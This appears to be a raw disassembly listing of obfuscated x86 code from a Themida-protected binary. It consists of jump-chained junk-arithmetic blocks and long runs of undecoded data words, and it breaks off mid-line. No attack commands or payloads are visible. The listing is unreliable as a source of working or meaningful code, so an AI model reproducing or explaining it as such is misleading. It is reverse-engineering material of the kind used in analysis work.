loc_55031C ; --------------------------------------------------------------------------- dw 0D829h dd 8BC1295Bh, 89562404h, 4C681E6h, 53000000h, 4BBh, 0A9FFE900h dd 9BBDFFFFh, 813E0B42h, 0B429FF5h, 7324E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5518BE: ; CODE XREF: Themida_:00548860j push ebx mov ebx, 13EE7712h add ecx, ebx pop ebx and ecx, 2BD75870h xor ecx, 733E4188h sub edx, 167E6DB8h add edx, ecx add edx, 167E6DB8h pop ecx jmp loc_55669D ; --------------------------------------------------------------------------- loc_5518E7: ; CODE XREF: Themida_:00544497j push dx sub esp, 4 jmp loc_543789 ; --------------------------------------------------------------------------- db 57h, 0BFh, 83h dd 29FE2B19h, 0C3095FF8h, 0FAC38158h, 29579C87h, 0C2015BDAh dd 537C281h, 1EE9437Bh, 0BF00001Ah, 218E776Bh, 3C8BF909h dd 4C48324h, 8108E1C1h, 0A90DD0E9h, 63BB5379h, 0C126B454h dd 29E907E3h, 87FFFF8Eh, 248B241Ch, 4C48124h, 56000000h dd 0A23C8CBEh, 8EC68170h, 5511ED70h, 922C89BDh, 0A6C58170h dd 8139D11Bh, 0C81814C5h, 58FDE97Fh, 0FFB80000h, 29FFFFFFh dd 3094E9C1h, 5CBEFFFFh, 297BF256h, 0C5815EF5h, 0CCC8413Ah dd 0FFB6BFE9h, 241487FFh, 0BA2685Ch, 14890000h, 2BA24h dd 9C050000h, 2D2B1453h, 269A18A9h, 0A905D001h, 2D269A18h dd 2B14539Ch, 8B2434FFh, 0F5E92414h, 68FFFFF7h, 5423h dd 89240C89h, 5EE957E1h, 8B000052h, 34FF2424h, 0BF94E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519D2: ; CODE XREF: Themida_:00544BEEj push 7614h mov [esp], ebx jmp loc_5450BF ; --------------------------------------------------------------------------- loc_5519DF: ; CODE XREF: Themida_:00557ED1j mov [esp], ebx push 882h jmp loc_545A61 ; --------------------------------------------------------------------------- dd 4E6BEB81h, 0C329062Eh, 4E6BC381h, 0A3E9062Eh, 89000020h dd 0BA52240Ch, 2F9D560Fh, 13E9D189h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A0F: ; CODE XREF: Themida_:0054CB4Bj and edx, 337032ACh sub edx, 141BD0A8h add ebp, edx pop edx jmp loc_552B85 ; --------------------------------------------------------------------------- db 2Ch dd 240C8BB9h, 2611E951h, 0C7310000h, 0AEC78158h, 0E9C5D22Eh dd 0FFFFF6F9h, 0DDE95366h, 81FFFF7Ah, 5C69F2CAh, 97A9E97Ch dd 0EC83FFFFh, 24248904h, 4240483h, 0E924348Bh, 0FFFF8A21h ; --------------------------------------------------------------------------- loc_551A60: ; CODE XREF: Themida_:0054DE50j mov edi, [esp] jmp loc_544C64 ; --------------------------------------------------------------------------- dd 5A66D130h, 0FF5410E9h, 0CCE951FFh, 0BD000048h, 629ED9E9h dd 0B4E9F501h, 2CFFFFFBh, 0B45053F4h, 274CE957h, 0E3C10000h dd 0FCEB8105h, 2D80819Fh, 2F5970B2h, 0B205D801h, 0FF2F5970h dd 0E95B2434h, 0FFFF1B2Fh, 0E95BD989h, 3865h ; --------------------------------------------------------------------------- loc_551AB4: ; CODE XREF: Themida_:0054CB85j mov esp, [esp] jmp loc_55612C ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 21E90000h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551ACB: ; CODE XREF: Themida_:00557CC7j pop edx push ebx pop dword ptr [eax] mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax jmp loc_554421 ; --------------------------------------------------------------------------- dd 0FF17AAE9h, 240C32FFh, 0E9240C30h, 0FFFFA7DBh ; --------------------------------------------------------------------------- loc_551AFC: ; CODE XREF: Themida_:0054EC76j add dword ptr [esp+4], 633E6047h jmp loc_553A6F ; --------------------------------------------------------------------------- db 2Ch, 0A5h, 0E9h dd 3001h, 9C240CFEh, 0FF1782E9h db 0FFh ; --------------------------------------------------------------------------- loc_551B19: ; CODE XREF: Themida_:0054FB36j push esi pop ecx mov esi, [esp] add esp, 4 add ebx, ecx pop ecx push dword ptr [ebx] sub dword ptr [esp], 13FA0D13h pop eax add eax, 13FA0D13h jmp loc_55672F ; --------------------------------------------------------------------------- dd 4ACEBF57h, 7C296B72h, 8B5F0C24h, 8951240Ch, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 0FFC4D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_551B61: ; CODE XREF: Themida_:0055681Cj xor dl, al jmp loc_54EB59 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFF5119h ; --------------------------------------------------------------------------- loc_551B70: ; CODE XREF: Themida_:00544CA0j push ebx mov ebx, esp jmp loc_552B63 ; --------------------------------------------------------------------------- loc_551B78: ; CODE XREF: Themida_:0054E68Dj push esi pop ebp push ebp pop dword ptr [ebx] pop ebp mov esi, [esp] add esp, 4 pop eax pop ebx jmp loc_55092B ; --------------------------------------------------------------------------- dw 8358h dd 0FF5104C1h, 0E9042474h, 0FFFF746Dh, 4B8h, 60D8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BA6: ; CODE XREF: Themida_:0054F9EDj mov [esp], esp push ebp jmp loc_556FD8 ; --------------------------------------------------------------------------- loc_551BAF: ; CODE XREF: Themida_:005581F2j mov edx, ecx pop ecx xor edx, 528C4541h jmp loc_5456AA ; --------------------------------------------------------------------------- db 0B6h, 22h, 0C0h dd 0D6F603EEh, 0FF9886E9h, 4E1C1FFh, 0F181E9D1h, 683D261Ah dd 9239E981h, 8955DEF1h, 0E9EA89CDh, 3F96h, 815BDD01h dd 597B62C5h, 0EB53E903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551BF2: ; CODE XREF: Themida_:0054FF77j xchg ecx, [esp] pop esp sub ebx, 4 push 38F0h mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_551E29 ; --------------------------------------------------------------------------- loc_551C0B: ; CODE XREF: Themida_:0054FC3Fj add bl, ah jmp loc_5520F1 ; --------------------------------------------------------------------------- loc_551C12: ; CODE XREF: Themida_:0055548Cj mov ebx, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_550B72 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4685056h, 58771336h, 25D0F740h, 482B4CF9h, 8BE7782Dh dd 58C689CEh, 9C6184BDh, 0ECB0E939h, 3FBDFFFFh, 8136E970h dd 6004246Ch, 29579A68h, 8104246Ch, 60042444h, 5D579A68h dd 2C29E9h, 24048900h, 4B8h, 58C72900h, 5C243C87h, 394BE9h db 0 ; --------------------------------------------------------------------------- loc_551C81: ; CODE XREF: Themida_:00550EF4j mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 push dword ptr [esp] push dword ptr [esp] jmp loc_54E1AA ; --------------------------------------------------------------------------- loc_551CA8: ; CODE XREF: Themida_:005513DDj pop dword ptr [esp] xchg edx, edi xchg esi, edx not esi jmp loc_545178 ; --------------------------------------------------------------------------- loc_551CB6: ; CODE XREF: Themida_:00552133j push dword ptr [esp] pop ebx add esp, 4 jmp loc_552A19 ; --------------------------------------------------------------------------- dw 5452h dd 5DF1E9h, 0E2815E00h, 61BF0DC7h, 622CC281h, 534A5118h dd 0AEC330BBh, 0BAC28102h, 125767Fh, 5BCAE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551CEA: ; CODE XREF: Themida_:005435C9j sub esp, 4 mov [esp], ebx mov ebx, 45463B7h jmp loc_54F85B ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 54241C89h, 0FF267DE9h, 0EC835EFFh, 243C8904h, 3C635FBFh dd 9DCF8153h, 81777272h, 0E301E7C7h, 0E953478Bh, 0FFFF3D4Bh dd 240C335Ah, 0FFE981E9h, 0EAB850FFh, 31C4F264h, 2434FFC5h dd 3A42E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D42: ; CODE XREF: Themida_:00548D51j sub ecx, 1C2B651Bh add ecx, esi push esi jmp loc_55034A ; --------------------------------------------------------------------------- dd 0F420E953h, 0E955FFFFh, 2085h, 4C581h, 58E90000h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551D67: ; CODE XREF: Themida_:0055311Ej push ebx mov ebx, 2A1D13B7h add ebx, 0D5E2EC4Dh mov esi, ebx pop ebx add edi, 33190402h sub edi, esi sub edi, 33190402h pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], esi push esp mov esi, [esp] push 31D2h mov [esp], ebp push esp pop ebp push esi push 4 pop esi add ebp, esi pop esi add ebp, 4 jmp loc_54BB43 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 871F32BDh, 0E9EB016Eh, 1F20h, 58C2295Fh, 2834C781h dd 0C7816297h, 3AEA1092h, 0EF81D701h, 3AEA1092h, 2834EF81h dd 0E95A6297h, 0E08h, 66D5C681h, 3FE95529h, 5DFFFF2Eh dd 7DAFB850h, 0E0C1799Fh, 0BCBE5604h, 217F9160h, 0EC815EF0h dd 4, 0BF243C89h, 6A163B37h, 3C8BF809h, 4C48324h, 2D06E0C1h dd 0E5DEEDBCh, 0DF9E9h db 0 ; --------------------------------------------------------------------------- loc_551E29: ; CODE XREF: Themida_:00551C06j pop dword ptr [esp] pop esp mov [esp], esi push edi push 18704709h pop edi jmp loc_5504EA ; --------------------------------------------------------------------------- dd 15B5D53h, 14335DEAh, 24143124h, 5C241433h, 9C240421h dd 0FFA14CE9h, 241C89FFh, 0FF435DE9h, 66D800FFh, 94E9595Bh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E67: ; CODE XREF: Themida_:005570D6j pop esi and edi, edx jmp loc_557326 ; --------------------------------------------------------------------------- db 8Bh dd 8CE92434h, 97FFFF2Eh, 2414F757h, 0E70DE95Fh, 2C89FFFFh dd 7A22BD24h, 0E58146CDh, 41CE127Dh, 7E80B951h, 0C1811EC6h dd 2F16448Fh, 4902E1C1h, 2B79C181h, 0CFE940A6h, 0BE000022h dd 836C3Eh, 4867E9h, 4EC8100h, 0E9000000h, 0FFFFD9A4h dd 0E9E68956h, 0FFFFABB8h, 0C15AD521h, 814508EDh, 0A8DA6DC5h dd 6E362D74h, 49E90DFFh db 0AAh, 2 dup(0FFh) byte_551EDF db 66h ; DATA XREF: Themida_:00542FC4o dd 6824048Bh, 578Ah, 54241489h, 0E92434FFh, 0FFFFD4AEh dd 747DC781h, 34FF6659h, 5DCAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551F02: ; CODE XREF: Themida_:0054BFB3j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop esi push edi mov edi, 5DD3662Dh add edi, 39E75569h push eax mov eax, 75A00806h or edi, eax jmp loc_545451 ; --------------------------------------------------------------------------- dw 0BB53h dd 7AAA575Fh, 160DCB81h, 0F3814485h, 79C06DA7h, 668FE943h dd 0A668FFFFh, 8900001Eh, 68662404h, 78E9683Dh, 0B5000024h dd 8EDC0A3h, 5206EDC0h, 42E987B6h, 5D000054h, 5C24048Fh dd 0C8AF0F66h, 0E99C5166h, 0FFFF1323h ; --------------------------------------------------------------------------- loc_551F78: ; CODE XREF: Themida_:005537D0j push edx jmp loc_553754 ; --------------------------------------------------------------------------- dw 8E68h dd 89000070h, 0E3B82404h, 8362532Fh, 0E63501E8h, 8162532Fh dd 5E4F3FEFh, 81C70122h, 5E4F3FC7h, 24048B22h, 6804C483h dd 293Fh, 4BAFE9h, 2434FF00h, 0E924048Bh, 0FFFF63F3h ; --------------------------------------------------------------------------- loc_551FBC: ; CODE XREF: Themida_:0055776Ej mov esi, edx pop edx push esi xchg ebp, [esp] jmp loc_54E462 ; --------------------------------------------------------------------------- dd 2904C483h, 0C335BD9h, 240C3124h, 0E9240C33h, 630Ah dd 4EE8359h, 8B243487h, 3C892424h, 0E1E95424h, 59FFFF17h dd 585FFD89h, 74F5815Ah, 5527581Eh, 4410E9h, 5BD90100h dd 8159CE89h, 51F751C6h, 5EF30187h, 0C3BB5352h, 0F72D3351h dd 0D568E9DBh, 8F5AFFFFh, 248B2404h, 0E9C33124h, 0FFFF997Ch ; --------------------------------------------------------------------------- loc_55202C: ; CODE XREF: Themida_:00547943j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 9D0h mov [esp], ebx jmp loc_547AB9 ; --------------------------------------------------------------------------- db 0B9h, 3Fh, 0D0h dd 0CE318A9Dh, 1879E9h, 7399B900h, 0DA054F2Eh, 29455C11h dd 11DA2DC8h, 0E959455Ch, 0FFFFB06Bh, 42474FFh, 24048F5Ah dd 5118E95Ch, 0EC83FFFFh, 243C8904h, 8B79B068h, 0C7815F43h dd 0FFFFFFFFh, 0D6F7F787h, 66E9F731h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552097: ; CODE XREF: Themida_:0055279Ej pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54329B ; --------------------------------------------------------------------------- db 2Dh dd 562A5494h, 0E505E0D1h, 561E5F15h, 480FC6BEh, 5EE811Fh dd 814FF74Dh, 933030C6h, 5B64E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5520C6: ; CODE XREF: Themida_:0054619Ej push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 neg edi push edi xchg eax, [esp] not eax xchg eax, [esp] mov edi, [esp] push eax jmp loc_54F7AF ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 0CFFE9h db 0 ; --------------------------------------------------------------------------- loc_5520F1: ; CODE XREF: Themida_:00551C0Dj add bl, 79h sub esp, 4 mov [esp], eax jmp loc_5444DE ; --------------------------------------------------------------------------- dw 0EB81h dd 5E5B636Ah, 0FFCBC8E9h, 0FF575AFFh, 5F042474h, 8B24048Fh dd 0E3682424h, 8900001Dh, 35E9241Ch db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552127: ; CODE XREF: Themida_:0054448Cj jz loc_55506C push ebx push 1Ch jmp loc_551CB6 ; --------------------------------------------------------------------------- dd 348BF089h, 4C48324h, 637068h, 24048900h, 0E924148Bh dd 0FFFFA537h dword_552150 dd 8B2434FFh, 0C481240Ch, 4, 246EE9h ; DATA XREF: Themida_:005431C4o db 0 ; --------------------------------------------------------------------------- loc_552161: ; CODE XREF: Themida_:00549918j push esi mov esi, esp jmp loc_547E4F ; --------------------------------------------------------------------------- loc_552169: ; CODE XREF: Themida_:0055806Dj mov [esp], edx push esp pop edx sub esp, 4 mov [esp], edi mov edi, 10664C35h push ebx mov ebx, 8DD019Dh jmp loc_556D00 ; --------------------------------------------------------------------------- dd 241C8966h, 0FF2638E9h db 0FFh ; --------------------------------------------------------------------------- loc_55218D: ; CODE XREF: Themida_:00543C16j pop dword ptr [esp] jmp loc_5533DD ; --------------------------------------------------------------------------- loc_552195: ; CODE XREF: Themida_:0054C682j and eax, ebx pop ebx or eax, eax jz loc_55736C push ebx mov ebx, 1Ch add ebx, edi push 0C5h mov [esp], edx mov edx, 0 push eax mov eax, esp add eax, 4 jmp loc_5496FE ; --------------------------------------------------------------------------- loc_5521C2: ; CODE XREF: Themida_:00557FCBj push edx jmp loc_54B6A0 ; --------------------------------------------------------------------------- dd 5266FEB5h, 0CAFEEA88h, 565468h, 4E3CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5521DA: ; CODE XREF: Themida_:0054FE84j add ecx, ebp sub ecx, 4C8C7342h pop ebp push esi mov esi, 217E175Ch add ecx, esi pop esi add ecx, ebp jmp loc_5549C6 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C3300h, 0FFF0F9E9h, 0E95756FFh, 0FFFFA666h dd 592434FFh, 1F76E9h, 3C8B5400h, 4C48124h, 81000000h dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 2584E924h, 0FDBE0000h dd 0D12C667Bh, 0F6EE81E6h, 0E958CCF7h, 47CDh, 224AF3BDh dd 5DE83108h, 48BC301h, 8442E924h, 0FBB8FFFFh, 8949C026h dd 24048BC2h, 0BD04C483h, 0C029393Bh, 456968h, 0E7C5E900h dd 0EF01FFFFh, 243C335Dh, 0FFB534E9h, 42DFFh, 4870000h dd 1C895C24h, 339FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55228E: ; CODE XREF: Themida_:0054FF2Dj shr esi, 5 sub esi, 1809AE6h jmp loc_54F52D ; --------------------------------------------------------------------------- loc_55229C: ; CODE XREF: Themida_:0054B198j shr edx, 1 cmp eax, edx jz loc_548692 push 534Eh mov [esp], edx push ebx mov ebx, esp push esi mov esi, 75095F6Dh shl esi, 4 xor esi, 752E6A2Dh push edi push 2591h jmp loc_546DF3 ; --------------------------------------------------------------------------- db 89h dd 5954240Ch, 81595451h, 4C1h, 0A1BB5300h, 0C17DEB7Bh dd 0D3F705EBh, 71BCEB81h, 0E38168ABh, 28ED1990h, 0FF5F33E9h db 0FFh byte_5522F5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005430E0o aHl db '$h▀*',0 align 2 dw 1489h dd 17B36824h, 4E90000h, 8BFFFFC4h, 0C4812404h, 4, 0FFB3B8E9h dd 24048BFFh, 4C481h, 0EC810000h, 4, 0B9240C89h, 1A606B60h dd 7EBCF181h, 20E90609h, 1FFFFEFh, 88E958C3h, 8BFFFFA8h dd 0C483242Ch, 0EA68E904h, 0F681FFFFh, 6A45564Fh, 0BECDBF57h dd 6EE9E788h, 2800004Fh, 5A9504D0h, 0C8FEC0FEh, 0C5287F34h dd 0F3B35358h, 0A7C380h, 4EE95BDDh db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55237B: ; CODE XREF: Themida_:00544C82j add bl, 0C2h pop edx sub bl, 0EDh add ch, bl push dword ptr [esp] pop ebx add esp, 4 add ch, 0ACh push eax jmp loc_54ED7E ; --------------------------------------------------------------------------- db 83h dd 0FF042404h, 1C8B2434h, 4C48324h, 0FF7CE9E9h, 62E95BFFh dd 0BFFFFF63h, 3A64C8D8h, 34FFFE01h, 0E6685F24h, 8900005Ch dd 0E2892414h, 4C281h, 0C2830000h, 24148704h, 7E9815Ch dd 81772114h, 51BFAC1h, 81F1011Dh, 51BFAE9h, 23BB531Dh dd 0C1727224h, 376805EBh, 0E9000008h, 0FFFF84D4h, 0E958C529h dd 0FFFFFE72h, 511EF81h, 0C8B67AFh, 263EE924h, 0C87FFFFh dd 0EC815C24h, 4, 0FF9681E9h db 0FFh ; --------------------------------------------------------------------------- loc_55241D: ; CODE XREF: Themida_:005454EBj push ebx mov ebx, 10E15D29h inc ebx jmp loc_54ABB9 ; --------------------------------------------------------------------------- db 2Dh, 2Eh, 6Bh dd 34FF05D6h, 89535B24h, 4C381E3h, 50000000h, 0FF7258E9h dd 246C01FFh, 24448104h, 0EB7A0004h, 242C8B38h, 0E9E18951h dd 0FFFF6D06h ; --------------------------------------------------------------------------- loc_552458: ; CODE XREF: Themida_:0054B328j xchg edx, [esp] pop edx sub edx, 5C7A5D59h shr edx, 2 inc edx sub edx, 0B9A67AE9h jmp loc_555C9B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 40B42404h, 0D007E4C0h, 2084E9ECh, 0B850FFFFh dd 0F7B612Eh, 7B6132BFh, 6BEF810Fh, 29537024h, 6BC781C7h dd 58537024h, 815FF901h, 4E9h, 0FF60E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5524AE: ; CODE XREF: Themida_:00547569j add [esp+8], ebx jmp loc_54CE58 ; --------------------------------------------------------------------------- db 5Ch dd 0E9CB8166h, 0EB816646h, 0A3E9FFFFh, 0C1000048h, 0E5C102EDh dd 64F58105h, 816C2423h, 0A0031AEDh, 5DE90105h, 0A16CFD2Dh dd 5C8015Ch, 5CA16CFDh, 32CEE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5524EE: ; CODE XREF: Themida_:00543F82j push esi jmp loc_547A3E ; --------------------------------------------------------------------------- loc_5524F4: ; CODE XREF: Themida_:0054C4B5j add ebp, 37532C18h sub ebp, ebx sub ebp, 37532C18h mov ebx, [esp] add esp, 4 xchg ebp, [esp] jmp loc_550C70 ; --------------------------------------------------------------------------- dd 8023C380h, 5066FEEBh, 0E9DDB753h, 0FFFF2DCDh, 0A8F5F4BAh dd 0E9FA018Ch, 0FFFF891Bh ; --------------------------------------------------------------------------- loc_55252C: ; CODE XREF: Themida_:005481D5j shr cl, 3 or cl, 0D5h jmp loc_547FC8 ; --------------------------------------------------------------------------- loc_552537: ; CODE XREF: Themida_:005577CDj not esi jmp loc_54E84F ; --------------------------------------------------------------------------- dw 0E8C1h dd 7EA7E908h, 0D5F7FFFFh, 0FF7D0BE9h, 242489FFh, 4240483h dd 83242C8Bh, 0E95204C4h, 48E2h, 9B35352h, 515BDA88h, 0E9A5B753h dd 0FFFF8821h, 4F6FC325h, 0F377E948h, 0E981FFFFh, 364460F0h dd 665CEE81h, 0C5E97C6Ch db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55258B: ; CODE XREF: Themida_:005566B0j xor edx, [esp] mov esp, [esp] jmp loc_54F505 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 59241489h, 5524148Bh, 2136E9h, 0EFE38100h, 815A6639h dd 93C1ACBh, 0DFF38157h, 1570D3Dh, 2C335BDDh, 242C3124h dd 0FF8646E9h, 0ABEA81FFh, 59495F64h, 4EC8153h, 89000000h dd 0EC83240Ch, 1551E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5525E2: ; CODE XREF: Themida_:0054BC95j pop edi add esi, edx pop edx jmp loc_54E96F ; --------------------------------------------------------------------------- db 56h dd 0C6815E54h, 4, 8704C683h, 248B2434h, 5F095F24h, 9426E91Ch dd 0C8BFFFFh, 91C1E924h, 0F781FFFFh, 7D246FA2h, 0E781D7F7h dd 16F34B48h, 1453F781h, 0FD31086Ch, 0E9EF315Fh, 0FFFFE281h dd 81E78957h, 4C7h, 0FBB9E900h, 489FFFFh, 48B5424h, 4C48324h dd 390EE9h db 0 ; --------------------------------------------------------------------------- loc_552649: ; CODE XREF: Themida_:00553D0Aj push dword ptr [esp] pop edx push 7738h mov [esp], edx push esp pop edx sub esp, 4 jmp loc_553E8E ; --------------------------------------------------------------------------- loc_55265F: ; CODE XREF: Themida_:0054EBC9j inc edx neg edx shr edx, 3 jmp loc_54A3BD ; --------------------------------------------------------------------------- dw 0EC83h dd 14896602h, 25E95124h, 59FFFFA7h, 68665251h, 89E954B4h dd 57FFFF65h, 2E10E9h, 721B6800h, 3C890000h, 815F5424h dd 4C7h, 4EC8300h, 0FFF5CCE9h, 242C89FFh, 2BDh, 4AA5E900h dd 0EC810000h, 4, 0FFA4E8E9h, 4B7E0DFFh, 0D4032D8h, 265315h dd 0EC4C5D05h, 70F9355Eh, 0BB53BEEFh, 7A657CA0h, 24DDC681h dd 0DE295C29h, 0FF8AC8E9h, 45CD81FFh, 8116054Eh, 2DA310C5h dd 5DEA2952h, 815AD309h, 9F641BCBh, 319FE938h db 2 dup(0FFh) word_5526FE dw 77FFh ; DATA XREF: Themida_:00543170o dd 59669D1Ch, 9C2414D2h, 0FF0B8EE9h, 2DEB81FFh, 56001464h dd 107381BEh, 81DEF747h, 429E0DF6h, 5EF001B6h, 0FFCC96E9h dd 240489FFh, 4B8h, 58C20100h, 0FBE5651h, 5224357Dh, 0B431C468h dd 0D2F75A1Bh, 0EDEA81h, 0F2817898h, 0E24787Eh, 0FF805DE9h db 0FFh ; --------------------------------------------------------------------------- loc_552755: ; CODE XREF: Themida_:00556099j pop esi add ecx, 4C671BE8h dec ecx push 47B7h mov [esp], ebx mov ebx, 77C1FC1h shl ebx, 3 jmp loc_54E093 ; --------------------------------------------------------------------------- loc_552772: ; CODE XREF: Themida_:0055837Ej pop cx movzx eax, al pop small word ptr [edi+eax*4] jmp loc_54329B ; --------------------------------------------------------------------------- dd 815AD589h, 6F04246Ch, 294D135Ah, 0E904246Ch, 0FFFF9A76h ; --------------------------------------------------------------------------- loc_552794: ; CODE XREF: Themida_:005563DDj sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_552097 ; --------------------------------------------------------------------------- db 0B9h dd 1D4C6B4Ch, 3E1C141h, 19D0C181h, 826865B8h, 89000002h dd 95BE2434h, 814B215Fh, 2F2FE0F6h, 0C5CBE947h, 0C381FFFFh dd 3AFFE2FFh, 3E12EE81h, 0BD55644Eh, 0F577E1h, 0CD81DDF7h dd 1CFB346Dh, 0FF668FE9h, 0C8295EFFh, 12D59h, 51550000h dd 5A4A5BB9h, 51B6BD67h, 0CD018E5Eh, 5DE80159h, 67E9C201h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55280B: ; CODE XREF: Themida_:005451BBj mov edi, 4B3E21E5h sub esi, edi pop edi mov eax, [esp] jmp loc_54833A ; --------------------------------------------------------------------------- db 81h dd 4C1h, 37BE5600h, 46174261h, 4604E6C1h, 60AEBF57h, 0CF811973h dd 66897E66h, 8103E7C1h, 0D3F118EFh, 5FFE318Fh, 7D94BB53h dd 0D3F7178Dh, 814BD3F7h, 0A36846F3h, 5A81E913h, 0EC81FFFFh dd 4, 0BA241489h, 19B22867h, 8103EAC1h, 28362BC2h, 0D2EA8120h dd 0E9FE7953h, 0FFFFF86Dh, 6C0BA52h, 0D6312F6Bh, 549BE9h dd 0BA525B00h, 0C26DC159h, 295AD029h, 474758C7h, 0CD98C781h dd 0FD01DA4Eh, 4C5835Fh, 0FF636CE9h, 0E9C801FFh, 2758h dd 4EC6815Bh, 9F9D519h, 24348BF5h, 4C481h, 0EC830000h dd 241C8904h, 77FE58BBh, 5BDD31EFh, 2C8BEB01h, 4C48324h dd 8704C383h, 248B241Ch, 0E9545224h, 0FFFF4B26h dword_5528E8 dd 0D5468h, 24348900h, 3C75E952h, 0E95E0000h, 0FFFF0EB1h ; DATA XREF: Themida_:00542FCCo dd 6FE3F581h, 34E95EAFh db 2Bh, 2 dup(0FFh) byte_552907 db 8Bh ; DATA XREF: Themida_:0054309Co dd 68572404h, 3266h, 0FFDE05E9h, 0E9BCB5FFh, 0FFFF5015h dd 0FBE9F801h, 0B1FFFFB2h, 3082B31Dh, 0C38059CBh, 0C3B050DEh dd 0C0FED8F6h, 662CE124h, 0EA80082Ch, 53C28021h, 0FFD78AE9h dd 48F5BFFh, 24895C24h, 48EFE924h, 335A0000h, 0C31240Ch dd 240C3324h, 2404895Ch, 3FC68h, 0C7815800h, 223E4601h dd 0FFCB03E9h db 0FFh byte_552971 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00543128o dd 0D359669Dh, 0E99C2414h, 0FFFF091Bh ; --------------------------------------------------------------------------- loc_552980: ; CODE XREF: Themida_:00548D02j add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebx push esp push dword ptr [esp] jmp loc_543CBE ; --------------------------------------------------------------------------- db 68h dd 2, 8BDF015Bh, 0C483241Ch, 74FF5704h, 8F5F0424h, 9AE92404h dd 5EFFFF2Dh, 7868h, 241C8900h, 120B850h, 0D8F73F77h, 0E948D0F7h dd 0FFFF94ABh, 4C481h, 0B6E90000h, 81000011h, 9BBFFCEFh dd 74C581EFh, 1040776h, 74ED81FDh, 5F040776h, 4C581h, 2C870000h dd 24248B24h, 4C281h, 0C2810000h, 4, 5C241487h, 0FF0882E9h db 0FFh ; --------------------------------------------------------------------------- loc_552A19: ; CODE XREF: Themida_:00551CBDj add ebx, 5D642A83h sub ebx, 541211E1h sub ebx, 3B7831E9h add ebx, edi push 2DCAh mov [esp], edx push ecx jmp loc_557D39 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0AA22E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552A46: ; CODE XREF: Themida_:00547604j push 4 pop edi add ebx, 20457037h jmp loc_5582C2 ; --------------------------------------------------------------------------- loc_552A57: ; CODE XREF: Themida_:00549092j add edi, ebp pop ebp jmp loc_54A77C ; --------------------------------------------------------------------------- db 0BDh dd 12A15E0Ch, 8246C01h, 0F87E9h, 5EF02900h, 0FF7E3EE9h dd 6F6855FFh, 5D691705h, 0E904EC83h, 0FFFFB874h ; --------------------------------------------------------------------------- loc_552A84: ; CODE XREF: Themida_:00552E93j add ebx, edx pop edx jmp loc_5435E3 ; --------------------------------------------------------------------------- dd 974639BAh, 5EF2315Bh, 56D7E281h, 5E963E1h, 81FFFF42h dd 4C4h, 805FE900h, 431FFFFh, 4691E924h, 0B8500000h, 0F61198Eh dd 0F704E0C1h, 786D0DD0h, 0D0F70EE4h, 0E904E8C1h, 2BF9h ; --------------------------------------------------------------------------- loc_552ACC: ; CODE XREF: Themida_:00544FECj sub edi, 0ACBE48A0h add edi, 22C81985h inc edi and edi, 1FC54D92h xor edi, 8961D1F7h xor ecx, edi pop edi push edi mov edi, ecx mov edx, edi pop edi mov ecx, [esp] add esp, 4 neg edx jmp loc_54AFA6 ; --------------------------------------------------------------------------- aAss db 'AИ▒/',0 align 4 dd 4244481h, 69D96AD5h, 534BBA52h, 5429604Fh, 0E95A0824h dd 0FFFF4D6Fh, 81D50159h, 3F212DEDh, 8617E919h db 2 dup(0FFh) word_552B2A dw 0E9ADh ; DATA XREF: Themida_:005431A8o dd 0FFFFB9B5h, 8B243487h, 4D32424h, 5CE99C24h, 83FFFF07h dd 148704C2h, 0DD295C24h, 2C3AE9h, 34FF5C00h, 2434FF24h dd 4C48158h, 83000000h, 